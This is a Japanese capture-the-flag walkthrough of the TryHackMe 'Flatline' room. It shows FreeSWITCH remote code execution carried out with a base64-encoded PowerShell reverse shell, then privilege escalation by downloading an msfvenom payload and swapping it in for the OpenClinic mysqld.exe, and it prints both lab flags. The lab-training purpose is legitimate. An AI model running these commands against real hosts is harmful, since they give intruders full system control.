【TryHackMe】Flatline：Walkthrough

# 概要

TryHackMe「Flatline」のWalkthroughです。

https://tryhackme.com/r/room/flatline

# Task1

## **Q1**.*What is the user.txt flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sV -A -sC -p- 10.10.36.60 -oN nmap_result
PORT     STATE SERVICE          VERSION
3389/tcp open  ms-wbt-server    Microsoft Terminal Services
8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|3389|ms-wbt-server|Microsoft Terminal Services|
|8021|freeswitch-event|FreeSWITCH mod_event_socket|

`freeswitch-event`が動作しています。

https://developer.signalwire.com/freeswitch/FreeSWITCH-Explained/Introduction/Event-System/Event-List_7143557/

`freeswitch-event`の脆弱性情報を検索すると`1.10.1`でRCEができる脆弱性を発見しました。

https://www.exploit-db.com/exploits/47799

PoCを実行し、RCEができることを確認しました。

```
$ python exploit.py 10.10.152.170 dir   
Authenticated
Content-Type: api/response
Content-Length: 2346

 Volume in drive C has no label.
 Volume Serial Number is 84FD-2CC9

 Directory of C:\Program Files\FreeSWITCH

09/11/2021  08:38    <DIR>          .
09/11/2021  08:38    <DIR>          ..
09/11/2021  08:22    <DIR>          cert
09/11/2021  08:22    <DIR>          conf
26/09/2024  15:57    <DIR>          db
09/11/2021  08:18    <DIR>          fonts
(省略)
```

リバースシェルを張るため、Netcatでリッスンします。

```
$ nc -lvnp 1234                                          
listening on [any] 1234 ...
```

下記サイトでリバースシェルのペイロードを作成します。

https://www.revshells.com/

PoCを実行し、シェルを張ります。

```
$ python exploit.py 10.10.152.170 "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4ANgAuADUANQAuADEANAA0ACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
Authenticated
```

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.152.170] 49764
PS C:\Users> whoami
win-eom4pk0578n\nekrotic
```

`C:\Users\Nekrotic\Desktop\user.txt`からユーザーフラグを入手できました。

```C:\Users\Nekrotic\Desktop\user.txt
THM{64bca0843d535fa73eecdc59d27cbe26}
```

**A**.**THM{64bca0843d535fa73eecdc59d27cbe26}**

## **Q2**.*What is the root.txt flag?*

`C:\Users\Administrator\Desktop`を確認すると`OpenClinic`を発見しました。

```
PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       08/11/2021     18:24      108048384 FreeSWITCH-1.10.1-Release-x64.msi                                     
-a----       08/11/2021     06:05      413584335 OpenClinicSetup5.194.18_32bit_full_fr_en_pt_es_nl.exe
```

`OpenClinic 5.194.18`で権限昇格の脆弱性を発見しました。

https://www.exploit-db.com/exploits/50448

まずKaliでリバースシェル用のペイロードを作成します。

```
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.6.55.144 LPORT=12345 -f exe > mysqld_evil.exe
```

Netcatでリッスンします。

```
$ nc -lvnp 12345
listening on [any] 12345 ...
```

ターゲットマシンからペイロードをダウンロードするためにHTTPサーバーを起動します。

```
$ python -m http.server 80                 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

ターゲットマシン上に作成したペイロードをダウンロードします。

```
PS C:\Users\Administrator\Desktop> curl http://10.6.55.144/mysqld_evil.exe -o "C:\projects\openclinic\mariadb\bin\mysqld_evil.exe"
```

ファイル名を変更します。

```
PS C:\Users\Administrator\Desktop> cd C:\projects\openclinic\mariadb\bin\
Rename-Item C:\projects\openclinic\mariadb\bin\mysqld.exe mysqld.bak
Rename-Item mysqld_evil.exe mysqld.exe
```

ターゲットマシンを再起動します。

```
shutdown /r /t 0
```

権限昇格に成功しました。

```
$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.152.170] 49670
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

`C:\Users\Nekrotic\Desktop\root.txt`からルートフラグを入手できます。

```C:\Users\Nekrotic\Desktop\root.txt
THM{8c8bc5558f0f3f8060d00ca231a9fb5e}
```

**A**.**THM{8c8bc5558f0f3f8060d00ca231a9fb5e}**